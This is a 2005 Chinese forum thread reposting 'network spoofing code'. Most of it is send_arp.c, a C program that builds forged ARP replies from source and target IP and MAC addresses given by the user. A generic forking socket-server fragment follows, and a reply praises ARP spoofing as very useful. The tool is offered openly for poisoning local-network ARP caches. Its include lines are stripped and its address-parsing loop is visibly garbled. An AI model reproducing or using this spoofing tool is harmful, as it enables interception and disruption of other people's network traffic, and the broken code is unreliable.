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标题: [转帖]网络欺骗代码 [打印本页]

作者: 流浪龟 时间: 2005-6-10 16:10 标题: [转帖]网络欺骗代码

附send-arp.c测试代码： ----------------------------------------- start ---------------------------------------------------------- /* send_arp.c 这个程序发送ARP包，由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下，也可以运行在其它的有SOCK_PACKET的Unix系统上。 */ 　 #include #include #include #include #include #include #include #include #include #include #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define DEFAULT_DEVICE "eth0" char usage[]={"send_arp: sends out custom ARP packet.\n \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; /*arp包结构*/ void die(char *); void get_ip_addr(struct in_addr*,char*); void get_hw_addr(char*,char*); int main(int argc,char** argv){ struct in_addr src_in_addr,targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; if(argc != 5)die(usage); sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)); /*与目标建立连接*/ if(sock<0){ perror("socket"); exit(1); } /* 构造arp包*/ pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op=htons(OP_ARP_REQUEST); get_hw_addr(pkt.targ_hw_addr,argv[4]); get_hw_addr(pkt.rcpt_hw_addr,argv[4]); get_hw_addr(pkt.src_hw_addr,argv[2]); get_hw_addr(pkt.sndr_hw_addr,argv[2]); get_ip_addr(&src_in_addr,argv[1]); get_ip_addr(&targ_in_addr,argv[3]); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); /*发送arp包*/ if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr(struct in_addr* in_addr,char* str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr == -1){ if( (hostp = gethostbyname(str))) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"send_arp: unknown host %s\n",str); exit(1); } } } void get_hw_addr(char* buf,char* str){ int i; char c,val; for(i=0;i= ';a'; && c <= ';f';) val = c-';a';+10; else die("Invalid hardware address"); *buf = val << 4; if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit?) val = c-';0';; else if(c >= ';a'; && c <= ';f';) val = c-';a';+10; else die("Invalid hardware address"); *buf++ |= val; if(*str == ';:';)str++; } } -------------------------------------------- end ------------------------------------------------------- （二） int initsockid, newsockid; if ((initsockid = socket(...)) <0) { error("can';t create socket"); } if (bind(initsockid, ...) <0) { error("bind error"); } if (listen(initsockid, 5) <0) { error("listen error"); } for (;;) { newsockid = accept(initsockid, ...); /* 阻塞 */ if (newsockid <0) { error("accept error"); } if (fork() == 0) { /* 子进程 */ close(initsockid); do(newsockid); /* 处理客户方请求 */ exit(0); } close(newsockid); }

作者: x86 时间: 2005-6-10 20:27 标题: [转帖]网络欺骗代码

arp欺骗,很有用哦!!!!

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